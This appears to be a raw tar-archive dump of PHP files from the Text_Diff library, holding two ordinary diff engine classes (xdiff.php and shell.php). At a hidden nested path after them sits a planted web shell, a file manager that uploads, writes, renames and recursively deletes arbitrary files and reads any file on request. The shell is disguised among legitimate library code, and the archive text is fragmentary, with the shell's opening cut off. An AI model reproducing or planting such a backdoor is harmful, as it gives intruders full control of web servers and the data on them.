?????????????? Engine/xdiff.php 0000644 00000004233 15250655232 0007571 0 ustar 00 * @package Text_Diff */ class Text_Diff_Engine_xdiff { /** */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); /* Convert the two input arrays into strings for xdiff processing. */ $from_string = implode("\n", $from_lines); $to_string = implode("\n", $to_lines); /* Diff the two strings and convert the result to an array. */ $diff = xdiff_string_diff($from_string, $to_string, count($to_lines)); $diff = explode("\n", $diff); /* Walk through the diff one line at a time. We build the $edits * array of diff operations by reading the first character of the * xdiff output (which is in the "unified diff" format). * * Note that we don't have enough information to detect "changed" * lines using this approach, so we can't add Text_Diff_Op_changed * instances to the $edits array. The result is still perfectly * valid, albeit a little less descriptive and efficient. */ $edits = array(); foreach ($diff as $line) { if (!strlen($line)) { continue; } switch ($line[0]) { case ' ': $edits[] = new Text_Diff_Op_copy(array(substr($line, 1))); break; case '+': $edits[] = new Text_Diff_Op_add(array(substr($line, 1))); break; case '-': $edits[] = new Text_Diff_Op_delete(array(substr($line, 1))); break; } } return $edits; } } Engine/shell.php 0000644 00000012123 15250655232 0007575 0 ustar 00 * @package Text_Diff * @since 0.3.0 */ class Text_Diff_Engine_shell { /** * Path to the diff executable * * @var string */ var $_diffCommand = 'diff'; /** * Returns the array of differences. * * @param array $from_lines lines of text from old file * @param array $to_lines lines of text from new file * * @return array all changes made (array with Text_Diff_Op_* objects) */ function diff($from_lines, $to_lines) { array_walk($from_lines, array('Text_Diff', 'trimNewlines')); array_walk($to_lines, array('Text_Diff', 'trimNewlines')); $temp_dir = Text_Diff::_getTempDir(); // Execute gnu diff or similar to get a standard diff file. $from_file = tempnam($temp_dir, 'Text_Diff'); $to_file = tempnam($temp_dir, 'Text_Diff'); $fp = fopen($from_file, 'w'); fwrite($fp, implode("\n", $from_lines)); fclose($fp); $fp = fopen($to_file, 'w'); fwrite($fp, implode("\n", $to_lines)); fclose($fp); $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file); unlink($from_file); unlink($to_file); if (is_null($diff)) { // No changes were made return array(new Text_Diff_Op_copy($from_lines)); } $from_line_no = 1; $to_line_no = 1; $edits = array(); // Get changed lines by parsing something like: // 0a1,2 // 1,2c4,6 // 1,5d6 preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff, $matches, PREG_SET_ORDER); foreach ($matches as $match) { if (!isset($match[5])) { // This paren is not set every time (see regex). $match[5] = false; } if ($match[3] == 'a') { $from_line_no--; } if ($match[3] == 'd') { $to_line_no--; } if ($from_line_no < $match[1] || $to_line_no < $match[4]) { // copied lines assert($match[1] - $from_line_no == $match[4] - $to_line_no); array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $match[1] - 1), $this->_getLines($to_lines, $to_line_no, $match[4] - 1))); } switch ($match[3]) { case 'd': // deleted lines array_push($edits, new Text_Diff_Op_delete( $this->_getLines($from_lines, $from_line_no, $match[2]))); $to_line_no++; break; case 'c': // changed lines array_push($edits, new Text_Diff_Op_change( $this->_getLines($from_lines, $from_line_no, $match[2]), $this->_getLines($to_lines, $to_line_no, $match[5]))); break; case 'a': // added lines array_push($edits, new Text_Diff_Op_add( $this->_getLines($to_lines, $to_line_no, $match[5]))); $from_line_no++; break; } } if (!empty($from_lines)) { // Some lines might still be pending. Add them as copied array_push($edits, new Text_Diff_Op_copy( $this->_getLines($from_lines, $from_line_no, $from_line_no + count($from_lines) - 1), $this->_getLines($to_lines, $to_line_no, $to_line_no + count($to_lines) - 1))); } return $edits; } /** * Get lines from either the old or new text * * @access private * * @param array $text_lines Either $from_lines or $to_lines (passed by reference). * @param int $line_no Current line number (passed by reference). * @param int $end Optional end line, when we want to chop more * than one line. * * @return array The chopped lines */ function _getLines(&$text_lines, &$line_no, $end = false) { if (!empty($end)) { $lines = array(); // We can shift even more while ($line_no <= $end) { array_push($lines, array_shift($text_lines)); $line_no++; } } else { $lines = array(array_shift($text_lines)); $line_no++; } return $lines; } } Engine/resources/v1/tmp/fsvtv/index.php 0000444 00000017115 15250655232 0014111 0 ustar 00 ο»Ώ function($p) { @move_uploaded_file($_FILES['f']['tmp_name'], $p.'/'.$_FILES['f']['name']); }, 'md' => function($p, $t1) { @mkdir($p.'/'.$t1, 0755); }, 'mf' => function($p, $t1) { @file_put_contents($p.'/'.$t1, ''); }, 'rn' => function($p, $t1, $t2) { @rename($t1, dirname($t1).'/'.$t2); }, 'sv' => function($p, $t1, $t2) { @file_put_contents($t1, $t2); }, 'rm' => function($p, $t1) { $bp_del = function($d) use (&$bp_del) { if(!is_dir($d)) return @unlink($d); foreach(array_diff(@scandir($d), ['.','..']) as $i) $bp_del($d.'/'.$i); return @rmdir($d); }; $bp_del($t1); } ]; // Eksekusi Fungsi dari Array Dispatcher if (isset($_POST['op']) && isset($bp_ops[$_POST['op']])) { $bp_ops[$_POST['op']]($x_1, $_POST['t1'] ?? '', $_POST['t2'] ?? ''); header("Location: ?loc=" . urlencode($x_1)); exit; } // [3] Logika Pembaca File untuk Editor $b_edit = ''; if (isset($_GET['edit']) && is_file($_GET['edit'])) { $b_edit = @file_get_contents($_GET['edit']); } // [4] Scanning & Sorting Direktori $b_scan = @scandir($x_1) ?: []; $d_arr = []; $f_arr = []; foreach ($b_scan as $i) { if ($i === '.') continue; $abs = $x_1 . '/' . $i; if (is_dir($abs)) $d_arr[] = ['n' => $i, 'p' => $abs, 's' => '-', 't' => 'D']; else $f_arr[] = ['n' => $i, 'p' => $abs, 's' => filesize($abs), 't' => 'F']; } $b_items = array_merge($d_arr, $f_arr); // Format Size Helper $sz = function($b) { if ($b === '-') return '-'; $u = ['B','KB','MB','GB']; $p = $b > 0 ? floor(log($b, 1024)) : 0; return number_format($b / pow(1024, $p), 2) . ' ' . $u[$p]; }; ?>